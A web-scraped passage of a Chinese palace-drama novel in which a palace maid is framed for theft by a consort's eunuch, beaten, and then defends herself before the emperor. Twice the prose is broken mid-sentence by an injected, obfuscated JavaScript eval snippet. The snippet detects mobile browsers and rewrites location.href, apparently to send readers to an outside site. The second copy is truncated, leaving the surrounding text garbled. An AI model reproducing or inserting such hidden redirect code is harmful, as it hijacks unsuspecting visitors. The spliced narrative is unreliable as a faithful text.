孙进襄悄悄竖起大拇哥,“还是赵总管有慧眼,有福气,什么时候要背,可得给老弟通个气儿。” 赵有良凑近了些,压低声音,“孙猴贼,还说背?人都坐上万岁爷的凳子了,你还在想用背的?” 两人正说话间,起了一阵秋风,常泰托着一匣子宝石,进退两难,见机来问赵有良的示下,“师傅,主子爷挑出来的,还原样放回去么?” 赵有良“哼”了一声,“等里头散了,你亲自送过去吧。主子说请姑娘拿来做帽子,还有一批给造办处,你有空来问我,不如去催一催,初一就要,让他们把手头的活儿放一放,快些做。” 他说罢看了眼匣子,“这个你给连姑娘,若是她要全留下,做什么新鲜别致的帽子,你就说主子爷口谕,甭想。” 孙进襄听得咋舌,对插袖子在一旁哈哈地干笑,“老哥的差,当得是益发新鲜了。” 赵有良耸了耸肩,笑着抬起头看天色,深蓝的天幕划过一群飞鸟,他没说话。 14. 戌时六刻 御前赏下来八月的绒花,是临见家人的前一天。小宫女们把手头的活计忙完,孝敬了姑姑回来,喜孜孜地去值房里报名字领花儿。 连朝回来的时候,恰是傍晚,万岁爷今儿又上慈宁宫陪太后进膳去了,她们便没那么多的忙。庆姐已经替她们把花儿领回来,一齐放在当心儿的桌子上。见她回来,忙招呼,“给你领了你的,快戴上看看!” 连朝笑着开盒子,宫花与外间不同,单说用的蚕丝线、攒花的式样、线脚的收尾,都是外间学不来的。因为不计成本,只求精妙,兼之相映的颜色,是独一份的气派。 盒子里放着一只“蝠桂”头花,一团金桂上配了只颤枝蝙蝠,取“富贵”的谐音,她对着灯光仔细分辨,桂花蕊泛着金光,蝙蝠的眼睛,倒像是蓝宝石。 庆姐嚷嚷,“光看有什么用,怎么不戴呀!” 连朝上头比了比,笑道,“没想到还有这样的恩典。真是头一回,我看这花蕊做得精细,没回神,还以为是金的呢。” 庆姐说你就想吧,“是银鎏金的,蝙蝠眼睛是琉璃。那赤金的、宝石的,哪儿轮得到咱们戴呀,那是后宫的娘娘们头上戴的。” 连朝应和着说是,拉开镜袱,添上头比了比,稍稍晃头,那蝙蝠就随着动作颤动,倒像真的一样。 双巧恰好掀帘子进来,看见桌上放着的盒子,气不打一处来,冷笑道,“哪位菩萨发善心,我话也没捎,就帮我领了来。” 瑞儿拉了拉她的袖子,庆姐犹自不觉,“我回来早,要去拿,就顺手帮你们都拿了。各人盒子上有名字,错不了。你不谢我,还这种口气说话,你是什么道理?” 双巧道,“万岁爷开恩典赏的东西,都写了各人的名字,我就想自己亲自去拿我这份。你帮我拿了,是做自己的好人,我不高兴,还要谢你吗!” 瑞儿小声劝,“别吵了。” 庆姐扭身去翻衣服,“懒得理你!你要去拿,我帮你把盒子还回去,你自己再去那马大善人跟前去拿,好不好?你再去慈宁宫,不,你干脆去万岁爷又日新屋子前头磕头谢恩好不好?内务府受命做了发下来的东西,你以为主子爷知道你这么号人物,巴巴儿留心独赏你个花儿给你戴?别做你的娘娘梦了!” 连朝给瑞儿使个眼神,瑞儿去和庆姐说话,她便给双巧斟了盏茶,故意放大声,“想必是知道明日就可以见家人,今晚上跟个孩子似的拌两句嘴,更热闹。知道的,说咱们姊妹里好,不知道的,还以为咱们不乐意花儿,要告万岁爷呢。” 她一面说,一面扶双巧在镜子前坐了,取过花儿替她簪上,又理顺鬓发,由衷夸赞,“姐姐簪上真好看。” 双巧“哼”了一声。 她又开匣子,取出这些日子自己做的绒花,姿态各异,色彩缤纷。将它们各分两支,给瑞儿和庆姐,又挑两支放在双巧手上,“我呢,手笨,自己做的远没有上面赐的好,但是我私以为,不论谁赐的,谁做的,好意头和体面都是自己的,是实打实戴在自己头上的。姐姐不嫌弃,请收下,就这个富贵荣华的好意头,咱们和乐快活地过节,体面风光地出门,好不好?” 双巧坐在炕上,一边比花儿一边问,“这么簪好不好看?” 连朝耐心地给她调,“斜一点儿会好。” 庆姐已经开始嚷嚷起来,“我明儿要拿这件衣服来配我的鞋!天老爷,怎么散针了?” 连朝和双巧都闻声看过去,还是双巧板着脸,“拿来我看。” 庆姐果然把衣裳拿过来,瑞儿也搬来凳子,四个人七嘴八舌嘟囔该怎么补才没有痕迹,双巧抿着嘴,也看了一回,并不说话,探身就去拿针,细细补了几针,才说,“你的针脚,和人一样,能多马虎就多马虎!丢三落四常见,丢针也常见,为着新鲜,魂也丢了,你看谁耐烦把你喊回来。” 庆姐拉着她的袖子,“我知道我给姑姑交的针线不够,是你替我补的。我就是想谢你,想着帮你们拿回来,你们不用受马太监的闲气,结果又办了个倒栽葱。” 瑞儿不安地问,“马谙达没为难你吧?” 庆姐说没有,“结果今儿去一看,不是那马太监,是万岁爷跟前的常谙达和福谙达在办这事儿,我取了回来,连马太监的面都没见。” 双巧这才放下心,把线剪断,“要真是马太监,四个人去,总比你一个人去强。就会自作聪明,把你的那双鞋拿来,我再给你补几针。” 这是她入宫三年来,第一次见到家人。 姐儿四个结伴,与各宫出来的宫女们一道,在嬷嬷的带领下往神武门方向去。慈宁宫的几个打头,接着便是养心殿的,再后边是咸福宫贵主子身边的,东西六宫照位次排开,远远望过去,从衣衫首饰上就能看出不同的气派。 瑞儿起先就可怜她,一路上怕她伤怀,说了好些宽解的话,连朝素来豁达,看出她的意思,笑道,“权当是不走运。比我还难的,五年十年不能和家里通口信的还有呢。人要是自苦,眼前所见便无一不苦——那可就没法儿活啦!姐姐放心,咱们只往前看,不去想走过的路,再不吃受过的苦。” 庆姐忍不住回头,“你这话说得对极了!” 单看庆姐这一身打扮,体面风光。盘辫上戴的是昨日赏下来新鲜的宫花,三对耳钳垂下来滴沥作响,脚下一双盘金攒珠的厚底鞋,随走动露出鞋尖,两边各缀着颗圆润的珍珠,煞是好看。 庆姐见她头上只戴了一朵普通的通草花簪,非金非玉,不由问,“咦?你打哪儿变出来个这样的花簪子,为什么不戴昨天赏下来的花?是觉得不好么?” 连朝忙笑,“哪里会不好,就是太好,才没舍得戴出来。这花儿挺好看的,戴起来也家常。昨天的花儿我收在匣子里,等放出去了,给我妹子戴。” 庆姐摇摇头,恨铁不成钢,半晌也没话说,只道,“你啊你!” 连朝温声说,“我知道姐姐实打实地待我好。” 嬷嬷将她们带到神武门西边,两个大栅栏门外,早已经乌泱泱站了一群人,嬷嬷与谙达们致意,拿出名册来排成几列,叫到名号走一个,里外皆如是。连朝恰好在庆姐她们后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810053|158567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,被老太监伸手一指,就与她们分开,在最西边的栅栏门前排队去了。 来的是大哥哥。 原以为会有很多话想问,真隔着栅栏门,远远地看着,就感觉虚不虚、实不实。等前边的人到时候,依依不舍地离开,终于轮到自己,一见面,却一句话也说不出来,只知道不争气地流泪。 还是外头的敬佑拉了拉她的衣袖,不出意外被一旁守着时辰的太监呵斥,敬佑讨好地“嗳”了一声,缩回手,劝她,“苟儿,别哭了,再哭就没时间说话了。” 她纵然有话要问,此时也不敢言语。囫囵取帕子擦干净眼泪,又是清清爽爽的人。欲言又止,末了只是叹气。 敬佑笑她,“怎么还和从前一样。你在宫里,要过得好。家里有我,我可以担着。宫里不比家里,别由着性子犯犟,把自己折损进去,你听见没有?” 她低声应,“我知道。” “但愿你不是嘴上知道。” 敬佑看见她头上戴着的花,并没有多问。连朝顺着他的目光,破涕为笑,“你看我戴的花好不好?意头也好。平安富贵,阖家团圆,一定能团圆的,哥哥。” 敬佑看着她,微微笑了,由衷地夸赞,“很好看。若是你在家里,我也会给你挑这枝。我们家苟儿,要平安富贵。” 她真着急了,“还苟儿!你才苟儿!” 两个人都笑,连朝紧着问,“玛玛呢?玛玛好不好?” 敬佑说,“和你说些好不好的套话,你听了反倒疑心。如实说,还是旧年咳喘的老毛病,当年的事,瞒不住,请人探消息奔走,费了不少力气。大夫诊过,说这是只能保养不能好的病,渐渐地有你的消息,知道你平安,每日早晨与你念一遍佛,春夏里便没那么厉害。” 连朝还想再问,旁边的太监清了清嗓子,公事公办地插句嘴,“请回了吧!” 连朝悄悄儿塞了银子,太监便靠着墙根儿,半耷下眼,面不改色地将银子拢进袖口。她才稳下心神,极低极快地嘱托敬佑,“和我一同选进来的一个妹子,没法过来见家人。你回家找人也好,转告讷讷也好,替我传个信儿,说她在宫里一切都好,问家里玛法玛玛,阿玛讷讷都好。千万记得替她报个平安,别回去酒蒙子混上头,给忘了!” 敬佑说好,“家住在哪个胡同,哪户人家?你还有心情替别人办事,知道你在宫里有朋友,有交情,我就更放心了。” 一来二去,还和原先在家里一样。三年时光变也没变,足以撑起她惶惶不安的心,不至于迷失方向。 她仔细把小翠那日托付给她的地名与敬佑说了三遍,敬佑连连说记住了,又争分夺秒嘱咐她些赶交节注意添衣之类的话云云,再想多说,太监已经“哼”了一声,傲慢地把头偏过去,拉长声调,“下一个!” 她趁着老太监最后一点儿不耐烦的时间,低声说,“哥哥,好好儿的。” 隔着栅栏,哥哥朝她扬手,她不能再看了,一步三回头,也只能往相反的方向走。 他们都很默契,没有提别的事。 15. 戌时七刻 连朝并没有看见庆姐她们,一个人沿着神武门墙根儿底下,慢慢溯来时的路走。心里百转千回,思绪不定,想要回想哥哥的脸,努力描摹,却什么也想不起来,仿佛刚刚短暂的见面,说过的话,如做梦一样,了无踪迹。 三年前从神武门东边进宫,三年后却在西边见着家人。三年前进来也是哥哥陪着,一路送到宫门前,一道栅栏门轻而易举隔开三年,算什么? 她觉得酸涩,茫然抬眼,看见高高的宫墙上蜿蜒着琉璃瓦,被昏昏的日光照射,如同一条金龙,盘旋于侧。 再听步声整饬,前边儿是妃嫔仪驾缓缓行来,乌压压地一片,竟有迫人之势,她赶忙收了心思,退后福身行礼,低眉避让。仪驾略停了停,便走远了。 等走回养心殿,已经近晌午时辰。榻榻里安静得很,原是今日挂上了斋戒牌,御驾移到斋宫斋戒三日,预备立秋后第一个上戊日祭祀社稷。也有今日放了些宫女去见家人,好容易得三天的宽松,便是懒怠出门的,此时也歪在炕上休息。 连朝慢慢踱到榻榻里,见屋子里空无一人,料想她们还没有回来,自己便坐在条凳上斟茶吃。 宫女原本吃不上什么好茶,所幸一间屋子里有两个都在茶水上当差,姑姑有时候睁一只眼闭一只眼,容许带些残茶回去吃,双巧管这叫人情,每每感慨,“人情的阴晴,哪里说得定呢,今儿看你顺眼,说不准明儿就打雷下雨了。” “轰隆隆——” 当真有几声闷雷,倒把她惊了一回。 才想起刚刚打外头回来,太阳都隔到浓云后去了。兴许真要下雨。 秋风灌进来,吹得屋子里一阵琳琅作响,连朝怕吹坏东西,更怕等会儿卷雨丝进来,起身要去撤支子,恰巧瑞儿从门外急匆匆走进来,连朝笑着说,“是要下雨了,还好你回来得早。” 瑞儿眼底都是惊惶的神色,连朝的笑凝固在嘴角,顺着她来的方向往外看,却听见极其规整的靴子声,一队人打廊子最暗处转出来,风雨晦暗,几乎看不清面色。 当头的太监一身酱紫色的蟒袍,想必是有头脸的人,袍摆上的江牙海水被秋风吹得翻腾,仿佛即刻便波浪滔天。 马三爷躬身站在一边,努努嘴,不阴不阳的调子,“张谙达,来巧了。这就是伙同一间房里的,这个叫瑞儿,这个叫连朝。” 张太监皮笑肉不笑,“宫女庆姐,私相授受,犯了规矩。同屋的人,有同罪之嫌。来啊!带走回话。” 身后跟随的太监,得此一声令下,顷刻便上来拿人。连朝来不及害怕,身子偏在瑞儿前面,大声问,“谙达,我们的确与庆姐是一屋。敢问谙达是奉了哪里的示下,光天化日,不分青红皂白,来这里拿人?” 太监们见她反抗,伸手往她后脊上使力一压,原本挺直的背脊也弯了下去。双手被死捏住不可动弹,狼狈得竟如同个刑犯,唯有头还是高高扬起,目光清明,可闻铜声。 张太监只觉得可笑,瞥了马三爷一眼,朝西北边儿翘着指作揖,盯着她,森然而笑。 变了调的嗓子混起漫天风雷,一霎时兜头盖脸而来。 “咸福宫,贵主子。” 不知道是慎刑司不透风还是外头在刮风下雨,抑或是被关了一日,滴水未进,连朝总觉得身上冷浸浸的。 不觉打了个哆嗦,那张太监一盏茶吃完,边儿上另一位太监才接着问话,“你同屋的宫女庆姐,犯上僭越,盗用东珠,已经被拘了。你们明明知道她违背宫规,一点也不悔改,反而伙同她一起,你认不认?” 连朝答,“我惟有如实回话,谙达们再问几遍,都是这样。今日宫女得允见家人,能够添以容饰,我们与庆姐一道准备穿戴,都是谨遵宫中规矩,并没有什么不妥。若是真犯了事,来路不明,庆姐敢将那鞋子衣裳穿出去给人看么?从榻榻,到宫道,再到神武门,一路上见的人数不清,真有谙达口中那样的大事,怎么没人呵斥,没人敢治她的罪,擎等着她家人见了,风头出了,再把她抓起来,谙达请想想,有没有这个道理?” 张太监不耐烦地“啧”了声,“问完了没有,我好向贵主子回话。纠葛这么久,这么简单的事儿,别让人看你慎刑司的笑话。” 那太监毕竟还顾忌着贵妃,把声音也放得厉害许多,“是我审你,不是你审我!我问你,庆姐是不是和你一间屋子里的人?” “是。” “庆姐有没有一对珍珠,你知不知道来历?” 连朝说,“有。不知道来历。” 那太监正要再问,外头匆匆进来人,递过一个盒子,小声回话,“谙达,搜了她们榻榻,宫女庆姐柜子里搜出些包着花样子皮的书,宫女连朝的柜子里搜出盒绒花,宫女双巧柜子里的赐物都可以对上档,谙达看这支花,与别人的不同,蝙蝠身子不是琉璃,是蓝宝石,花蕊用的是金珠子。” 那太监果真拿在手里细细看过,冷笑一声,“贼出一窝。前有东珠,后有簪子。那庆姐正是穿戴上的宫女,竟敢私藏东珠,你更厉害,来一着移花接木,先前一口咬定,是把慎刑司的都当傻子?” 说罢喝命,“带下去押着!” 张太监这才慢悠悠搁下茶盏,说别呀,“不是有一张好伶俐的嘴巴,振振有词的,我还以为有翻了天的能耐。甭又说胡乱冤枉了好人,乱定你的罪。姑娘,解释解释,造办处一水儿做的簪子,人人都是一样的体例,怎么到你这里,琉璃变作宝石,银子变成金子,姑娘不会又张口闭口,说一声:我不知道吧?” 一口气梗在心头,两张脸都是火辣辣的。她说不出话来,又有一种虚浮的无力。心中纵然隐约知道首尾,却知道解释无用,明晃晃的事实就在眼前。脑海中的各种思量电光火石般闪过,最终深吸一口气,垂下了眼,“我领来如此,并不知道。” 那太监已经让人记好她每次回话的口供,向张存寿道,“已查明如实,口供在录。另外三个的口供俱成,这毕竟是御前的事,不是寻常宫女。万岁爷在斋戒,请谙达回明贵主子,贵主子过目给个示下,咱们慎刑司就好照章办事。” 张太监点头,“等着吧。” 风雨潇潇,昨日开始下的雨渐渐归止住,外头却还是乌沉沉的。 室内点灯燃起香,都带着潮湿的味道。张存寿呵下腰进殿,循贵妃正坐在炕上,遥遥地,教葡萄松鼠攒地花隔断上挂着的鹦哥说话。 边上站着的丫头金蝉儿找机会轻轻地请回贵妃的神,“主子,张存寿回来了。” 贵妃说,“去,把桌上放着的薄荷油拿来,给我醒一醒。” 金蝉儿“嗳”了一声,又给张太监递了个眼色,张太监便近前去回话,“贵主子,奴才从慎刑司回来。已经把事情问清楚了。御前出了贼丫头,把自己打扮得跟半个主子一样。贵主子可断不能再容许这样的人留在宫里了。” 金蝉儿掀开珐琅盖子,替贵妃慢慢地揉着太阳穴。循贵妃闭着眼,任由一点点清凉绕在眉间,半晌才问,“都认了?” 张太监赔笑说,“那庆姐不肯交待东珠的来历,问她认不认罪,她却说不是东珠,慎刑司的问过主子爷跟前穿戴上人,前阵子确实丢过珠子,只是瞒下来,没有声张。其他三个,都说不知道,其中有个丫头,最是牙尖嘴利,慎刑司查出来她的头花上用的是蓝宝石和赤金,拿去问她,她便一个字儿也说不出来了。” 贵妃有些狐疑,又觉得可笑,“以前有老例儿没有?” 张太监说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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金蝉儿赧然,把伞交到他怀里,“咱们是同乡,你这么照顾我。雨天路滑,说不准又要下雨呢。你带着!” 张存寿拿稳了,扬起脸笑,想起什么似地叫住她,“蝉儿!等一等。” 金蝉儿问,“怎么了?” 张存寿近前一些,低声说,“这时节,风寒着了都没声没响的。我刚才进去,瞧贵主子没什么精神,你让小厨房他们在炉子上煨一碗小吊梨汤,常备着都不打紧。梨子吃絮了,就换枇杷,加一些薄荷叶都使得。请贵主子不要久坐,愈坐就愈怠懒了。屋子里也不要用那么闷的香——” 金蝉儿笑道,“知道了,都知道了。每年你都要这么嘱咐,谁忘了?只是主子上午晌念叨,想听你上回唱的,叫什么……” 张存寿笑眯眯地应上,“叫《小放牛》。” 又说,“等天晴了,咱们扮上,唱给贵主子听。” 金蝉儿说,“谁要和你唱!” 也不等他再说话,将身子侧过去,这是要送人的意思,红绒辫子款摆,匆匆地就不见了。 张太监于是折道,重往慎刑司去。与管事太监知会过,捏着调子说,“贵主子已经知道了,念在是万岁爷跟前的人,需请万岁主子示下。但庆姐、连朝二人,目无贵主子,该罚。” 管事太监连连点头,朝贵妃的咸福宫呵过腰,再迟疑着对张存寿,“谙达,老祖宗的规矩,宫女子的脸,打不得。” 张太监乜他一眼,冷淡地“哼”出声,“规矩?贵主子是潜邸的第一号侧福晋,入宫是理六宫事的贵妃娘娘,怹老人家的规矩奏是规矩!你在这里和我说什么别的规矩?好,脸打不得,那就打手,打腿,你别和我耍油滑。越性我今儿就在这里不走,代贵主子看着你打!” 16. 戌时八刻 管事太监递个眼色,连朝与庆姐已被带上来,太监们按着她们要跪,连朝直着脖子厉声,“谙达是哪门子的主子,凭什么跪他!” 管事太监只好比比手,她急狠了,又净饿了大半日,此时力气却出奇的大,才急匆匆能看见庆姐——彼此是一样的狼狈,头发丝儿垂下来,脸上再不复从前鲜亮的光彩,倒似蓬草一样,她忍不住滚下泪来。 张太监没见过这么烈性的宫女,“哟呵”一声,就旁侧的圈椅坐下来,伸出手指着她二人,横着眼对那管事太监说,“好大的胆子!都进你们这慎刑司,还这么硬的身板,这么硬的嘴?你不会是看在她是御前出身,不敢下好打吧?我告诉你,就是万岁爷亲自审,也是铁板钉钉的犯了事,还不教训她们!” 有太监执板子,管事太监说,“打手。”便扯出她二人的手,狠狠往下上板子。手本能地往回缩,却被攥着手腕,噼里啪啦地击打皮肉,鲜明的灼烧感,不过几板子,便觉得手已经疼得麻木,不是自己的了。 庆姐边哭边受着,几次缩回手,又被拉回去,连朝紧紧抿着唇,感觉眼前一阵儿晕眩,忽然想起什么,大声说,“珠子是我偷给庆姐的,她们都不知道,我认!所有罪责,我一人承担。” 管事太监叫:“停。” 张太监不满,“先前你不认,打你两板子,你就认了?” 连朝闭了闭眼,朝管事太监点头,说话的声音都带着颤哑,她极力稳住心神,尽量让自己变得有条理,“我跟在万岁爷跟前伺候,第一次有机会入宫见家人,就想做一双好鞋子。我上差的时候不定,听御前的人说万岁爷要准备祭天、去承德,我猜会从库里拿出来些好东西,又因为两样事情要得紧,我于是趁人少,溜到衣服上人的榻榻里,偷了颗珍珠并些宝石、金珠子。” 她深吸一口气,“你们找到的御赐头花,上头蓝宝石、金珠子,是我偷了怕被人发现,自己换上去的。至于珍珠,是我后来胆小,怕被人发现,换了庆姐的。都是我自己的主意,与她们无关。” 庆姐急得快要哭了,“你在说什么啊!你是不是被打魔怔了!” 连朝没理她,径直对张太监说,“东西都是我一个人偷的,冤枉她们算什么相干?贵主子不明察秋毫,怎么不把御前所有的宫女都抓进来打,单单抓我们几个,莫不是公报私仇,想要徇私?” 张太监喝道,“眼里没主子的忘八东西!贵主子身份尊贵,也是你配说的?你还没听见么,她认了罪了,前因后果说得一清二楚,都不劳你们审了,宫女偷了东西,杖三十,赶出去,还要我替你们做主吗!” 管事太监有些为难,“这……” 连朝说,“谙达,我们是御前的宫女,万岁爷才是我们的主子,刚才您不是说了,无论如何都得等万岁爷过问,才能发落。如今我认了罪了,要打要罚,要杀要剐,也得等万岁爷发话,慎刑司是要奉贵妃的令,打死御前的宫女吗!” 管事太监似乎被她这一句话点醒,瞬间连腰板都挺直了好些,对张太监道,“咱们慎刑司,并不辖属六宫,她们的主子要是是贵主子,张爷爷有贵主子的令,想怎么折腾,怎么折腾,咱们慎刑司那是一点屁话都不敢讲。但是既然人属御前,照规矩又来到了咱慎刑司,张爷爷,还是煞煞性吧。” 说话间,转对旁边拿板子的太监,努了努嘴,“把这个,单独押起来,紧紧地看着,给她吃的,给她水,别让她死了。余下三个先拘着,等回过主子爷,再行处置。” 连朝被他们拉下去,临别前紧紧看着庆姐,明明打完手板子后劲儿大,两个姑娘都疼得呲牙咧嘴,她还是勉强挤出一个笑,对庆姐无声说,“会没事的。” 庆姐只顾着哭,哭得快要噎过去,也不知是疼得太厉害,还是绝望或者害怕。拘押的地方不在一处,两个人死死盯着彼此,直到衣角都看不见了,连朝才蓦然泄气,浑身止不住轻轻颤抖,贴在冰冷的墙面上,又觉得有什么东西划过双颊,才后知后觉,是方才太过惶然,催逼出来的眼泪。 消息传到斋宫,已经是晚间。御前闹出了这样的丑事,原本不该去扰皇帝的清净。常泰听见几个名字,唯独听见“连朝”时,暗道一声不好,反复掂量几遍,到底还是让小太监提一盏灯,急匆匆去斋宫,回他师傅的话。 斋宫和养心殿,不在一头儿。一盏气死风在前边引路,小太监提不稳,灯笼横七竖八地胡乱晃。 路过的是东六宫,高高的宫墙,宫门紧闭,连一丝光都漏不出来,要不是步子太快,靴底擦着地面有飒飒的声音,几乎令人疑心四周都没有人。 皇帝在灯下找帖子,斋戒前特地嘱咐挑一些浅近易学的法帖,一并带到斋宫。皇帝揣摩着笔峰,与她寻常临了交上来的帖子比对,越看越不好,不知怎么,伸手托着几乎可以称得上是小儿涂鸦的笔迹,无声无息地笑出来。 赵有良进来时,皇帝一切如常。手边整理好一沓帖子,拿起茶盏抿一口,闲闲嘱咐,“这些收好,别与旁的弄混了。明日送到养心殿去。” 赵有良答应下,偷偷觑皇帝脸色,还是那样寡淡的表情,四平八稳,看不出什么。他还想再看,皇帝的眼风已经扫过来,冷声笑了一下,“斋戒讲究心平气和,你跟谁练起察言观色的本事来了?” 赵有良连忙跪下,“奴才不敢,奴才不敢。茶膳房的进素饽饽来了,奴才愚笨,想请万岁爷示下,进一些吗?” 皇帝说不必,“挑了一整天,眼睛看累了。歇下吧。” 赵有良应倒“是”,却性几步退出去,摆摆手让捧饽饽的宫女们退下。大总管总觉得虽然一切很顺序,却处处透露着不顺序,刚抬起头想在天幕上找找月亮,那不争气的徒弟带着他的气死风,急匆匆来“气死他”了。 赵有良耷拉下脸,压低声音呵斥常泰,“你小子会飞?不是让你在养心殿当好差,你来这做什么来了!” 常泰气喘吁吁,话都说得断续,“出了事儿……慎刑司……” 赵有良不以为然,问他,“出了事儿?是老主子有事儿?宗室们打起来了?闹起 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司衣的宫人替皇帝更衣,家常还是穿素色的袍子。马蹄袖挽得利索,尚茶的来敬茶,皇帝无意往门口望了一眼,嘴上说,“搁着吧。” 倒没什么大事,几日攒下来的折子,重要的已经批走了,留下的都是请安折。此时才有功夫坐下来喝一口茶,甘甜的茶水入喉,他又朝殿外望一眼,果真有人来,皇帝笑着搁盏,却是常泰进来扫袖子请安,回道,“主子爷,贵主子来了。” 循贵妃今日穿了一件品月色的双挽衬衣,包头髻畔缀了只颤巍巍的累丝凤步摇,稳稳当当在皇帝跟前行礼,皇帝道,“起来吧。” 贵妃却不敢坐,太监搬杌子来给她坐,她也辞了,只说,“万岁爷一日操劳,奴才此时冒昧打扰,当真是不懂事,只是事涉御前的人,奴才不敢轻易发落,才斗胆来讨万岁爷的示下。” 皇帝说,“你亲自来,必然是要紧的事。无妨,坐着说。” 贵妃“嗳”了一声,半推半就在椅子上坐了,扬声唤,“张存寿。” 张存寿便打千儿向皇帝回话,“奴才给主子爷请安。初二的时候,宫女们在神武门见家人。御前司衣的宫女庆姐,偷东珠嵌在鞋面上,拿主子的东西给自己挣体面。御前宫女连朝,偷拿进上的蓝宝石、金珠子,替到宫中赏的绒花簪子上。经奴才督办审理,连朝已承认东珠也是她偷的,由于胆小怕事,不敢放在身边,才送给庆姐。二人都认罪,主子爷,按祖宗家法,宫女子偷盗宫中财务,私相授受,理应杖三十,逐出宫去,永不复用。奴才张存寿,请主子爷示下。” 皇帝安静地听张太监说完,容色如常,仿佛是在听一件小事。众人皆等皇帝发话,屏息凝神,一时东暖阁内陷入彻底的寂静,明窗外太阳一分分西落,乌鸦带着一阵风儿轻轻扇动翅膀,太阳就彻底落到山下面去了。 皇帝似有出神,轻飘飘地问,“这样的小事,既已尘埃落定,俱认罪认罚,还闹到朕跟前,做什么?” 17. 亥初 张太监回说,“那宫女,烈性得很,不伏管教。口中嚷嚷着,既然是御前的宫女,认了罪,要打要罚,要万岁爷的发话。目无规矩,不把贵主子放在眼里。贵主子体谅,今日特带奴才来回话。” 皇帝蓦然冷笑,“哦,人在哪里?” 张太监愈发上道,“回主子爷话,还在慎刑司。奴才怕她们脏了万岁爷的养心殿,没有带来。” 皇帝只盯着张太监看,唇角一直带笑。他生来有一副好皮囊,微微上扬的唇角,很容易让朝臣们感到亲和。赵有良到底是积年,醒过味来,自作主张地低斥,“还说嘴!快把人请上来!” 循贵妃注意到皇帝神色有异,到底站起来,柔声,“主子爷犯不着为这等事生气,请进盏茶吧。” 皇帝却没有接,只是问,“什么时候认的罪。怎么认的罪。” 贵妃忙敦促,“你好好儿回主子的话来!” 张太监磕了个头,说道,“起先并不认罪。关在慎刑司第二日,搜出头花儿来,奴才请贵主子示下,贵主子念在是养心殿万岁爷跟前儿的人,不敢轻易处置,教奴才劝她善,她却越发造次,攀扯上万岁爷。仗着自己是御前的人,不伏贵主子苦口婆心的管教,非要闹到御前来才罢休。” 皇帝说,“哦”,极其慢地,“原来如此。” 说话间,常泰已带着福保和永康,将人从慎刑司提来了。他看见她与另一个宫女一起被提进暖阁,跪在他的面前。在叩首及地的时候,双手伸出来加眉,手心有触目的淤青。 是给他看的。 皇帝眉目平和,在她伏首之时,看见了她显得凌乱的盘辫上的头花。 搁在膝袍处的手不自觉收紧,金壁玉扳指生硬地硌着皮肉。皇帝有一瞬间的促气,在发话前微不可察的颤音,很快就被很好地遮掩过去,再度抿了一口茶水,“明证在前,有何可辩?” 庆姐怯怯看向她,庄严肃穆的东暖阁,细密的栽绒毯,八足香炉的龙涎香,让人生出无路可走几要窒息的感觉。庆姐再度叩头,紧紧闭上眼,“奴才认罪,无话可——” “奴才们无罪。” 她打断了庆姐的话,仰面迎向明窗投进来的日光。 她再度重复了一遍,“奴才们无罪。” “张太监滥用私刑,折辱宫人。贵妃谗信亲随,不分是非。苍天在上,请万岁明鉴。” 庆姐睁开眼,带着不解和讶异,朝她看过来。 清脆的,利索的,令人安稳的,她的声音。 庆姐有一瞬间想流泪。 贵妃都被惊着了,连忙提袍,跟着跪在了皇帝面前,“这宫女——奴才惶恐!” 原本匍匐的人挺直了脊背,又或许脊背只是横折叩首,并未弯曲。皇帝在暮色四合里看定她,烛火熹微的傍晚,落日余晖很好勾勒出她面部的轮廓,与恭勤郡王府吊唁那日并无二致。 双手拨开生死路。 他忽然想到这样一句。 纤细的,却足够有力的手。 苇草哪怕折断,都有锋利的边缘。 藏拙装愚了这么久,为了几个相处了几日的宫女,不惜露出爪牙。 这就是她吗? 连朝沉静地问张太监,“谙达说我有罪,谙达还记得我的供词吗?” 张太监咬牙说怎么不记得,“慎刑司一一记录在册,就是倒着念也使得!” 福保从慎刑司提人,总管太监也在边儿上。听到这里,上前扫下马蹄袖,向皇帝请示,皇帝略点了点头,管事太监便将她的呈词再念了一遍。 她听完,便立时反问,“为何我起先不认罪,被关了才认罪。是因为我做贼心虚,良心发现,还是屈打成招,被迫认罪?贵妃娘娘听张谙达回话,在万岁爷尚未惩戒之时,就下令要打人。奴才等关在慎刑司三天两夜,滴水未进,张谙达恫吓奴才等,迫使认罪,这些贵妃娘娘是不知,还是默许?如果是不知,张太监对上欺瞒,对下滥刑,其罪一。” 她顿了顿,接着说,“我呈供词,言明第一次有机会见家人。祖宗家法,每月初二日,宫女可于神武门栅栏前见家人,我自先帝朝入宫学规矩,至当今登极,已有三年。三年内祖宗家法眷顾,内务府每月都有安排宫人会亲,却一次未落到我身。谙达听了不觉得奇怪吗?不合规矩,为何不问?为何不查?即我认下,说的是实情,的确想做一双好鞋面,让家人看见天家恩泽,倘若能按时会面,我又何苦生出这样争荣夸耀的想头?虽是我过,祸由何人?长此以往,恐怕进慎刑司的非我一人。” 贵妃紧紧地看着她,不得已向皇帝请罪,“奴才打理后宫不力,这事儿一直让内务府承办,奴才糊涂至今,并未听过什么怨言,想来是耳目阻塞,奴才辜负圣恩,万死不辞。” 